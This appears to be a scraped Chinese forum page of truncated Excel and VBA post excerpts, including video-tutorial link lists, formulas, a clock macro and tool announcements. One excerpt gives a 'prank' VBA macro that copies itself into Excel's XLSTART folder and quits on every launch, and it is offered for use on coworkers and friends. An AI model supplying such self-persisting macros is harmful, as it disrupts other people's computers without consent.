因为Excel基础类的教程太多了，所以不打算录了，录了也是重复别人讲过的。我就想讲点网上比较稀缺的教程，来填上这个空白。 目前网上还没有成系列的C # 操作Excel的教程,所以打算出一些系列教程. 这个教程是免费奉献给大家的,禁止以任何形式利用我的教程来卖钱!毕竟版权是我的,我是糖君(我的QQ昵称). 准备出几期视频教程，关于用C # 操作Excel的方法，内容比较进阶。需要有一点Excel和C#基础可能才能看懂。我的口才不是特别好，所以……整个过程

课程终于结束了，超清画质免费分享给大家，课件在自频道首页有大家自己下载，谢谢 贴吧的朋友们的支持！ 小徐教程-【Excel2013】第51期强化规范数据源表 http://v.youku.com/v_show/id_XMTc1MDQ3ODc5Ng==.html?f=27330205 小徐教程-【Excel2013】第52期逆向数据透视表工具 http://v.youku.com/v_show/id_XMTc1MzAwNTI3Mg==.html?f=27330205 小徐教程-【Excel2013】第53期 unpivot table工具扩展 http://v.youku.com/v_show/id_XMTc1NDE4MTE3Mg==.html?f=27330205 小徐教程-【Excel2013】第54期数据透视表样式调整 http://v.youk

上半部分的课程清单 做完全套在放出下半部分 大神绕道 知识分享 么么哒！ 小徐教程-【Excel2013】第1期菜鸟起飞 http://v.youku.com/v_show/id_XMTYxMDY3Mzk4NA==.html?f=27330205 小徐教程-【Excel2013】第2期安装OFFICE 2013 http://v.youku.com/v_show/id_XMTU4NzgxNDk0OA==.html?f=27330205 小徐教程-【Excel2013】第3期课前准备 http://v.youku.com/v_show/id_XMTU5MDI5ODk1Mg==.html?f=27330205 小徐教程-【Excel2013】第4期领导喊你做张表 http://v.youku.com/v_show/id_XMTU5MTUzODM1Mg==.html?f=27330205 小徐教程-【Excel2013】第5期熟记

以前初见数字排列如下： 12345 12346 12347 12348 12349 12356 12357 12358 12359 12367 12368 12369 12378 12379 12389 12456 . . . 56789 遂作成排列公式。 后推深一层，发展成不定数选不定数，更使用文字作原数。 举例如下：（１２取６） Ａ　　Ｂ　　　Ｃ　　　　Ｄ 甲　　6　　 C1公式　　（右拉）　－＞－＞－＞－＞　 乙　　　　　C2公式　　（右拉）　－＞－＞－＞－＞ 丙　　　　　（下拉）　（下拉）　（下拉）　 丁 1 2 3 4 A B C D C1公式 =

       期末考试快到了，老师们要为学生统计成绩分析了！作为同行，结合本人的实际工作经验，我用VBA编了这个工具，希望能够给大家带来方便！       这个工具是外挂，方便又实用，不多说了，大家试试看吧！       同时，希望吧主能给加入到“精品区”的“VBA应用”中！      建议吧主在精品区创建一个子分类“自制Excel实用工具”方便同志们在这里展示和分享自制的excel作品

Sub 时钟() ActiveSheet.Shapes.AddShape(msoShapeOval, 100, 100, 100, 100).Select ActiveSheet.Shapes.AddLine(150, 150, 150, 200).Select Dim A As Double For A = 0 To 360 Step 6 X = 50 * Cos(A) + 150 Y = 50 * Sin(A) + 150 DoEvents Selection.ShapeRange.Nodes.SetPosition 2, Y, X SetTime = DateAdd("s", 1, Now()) Application.Wait SetTime Next A End Sub

记得刚学VBA时,有一天突然来了"灵感",写了个恶作剧程序,把公司的一个女同事吓坏了,有兴趣的话跟我做,不会破坏你的系统,原理只是让EXCEL一运行马上关闭,新建一个EXCEL工作薄,在thisworkbook模块里加入如下代码: Private Sub Workbook_Open() If Dir(Application.Path & "\xlstart\hehe.xls") = "" Then ThisWorkbook.SaveCopyAs (Application.Path & "\xlstart\hehe.xls") End If ThisWorkbook.Saved = True Application.Quit End Sub 现在,只要你的朋友启用这个宏,他就会惊讶的发现,他的EXCEL再也打不开啰,

感谢大家对我的支持，在今天权限恢复之日，特创立此贴庆祝！ 这个贴子里的内容不少是9-2日至今刚刚学习和搜集的，有的内容以在我个人主页中包含，以后将慢慢在此贴中给大家细述，内容大概预告如下：（不是全部，只是一部份）。都以自定义开头。 安装 格式 有效性 名称 模板 工具栏 图标 菜单 宏 函数 序列 右键菜单 快捷键 加载宏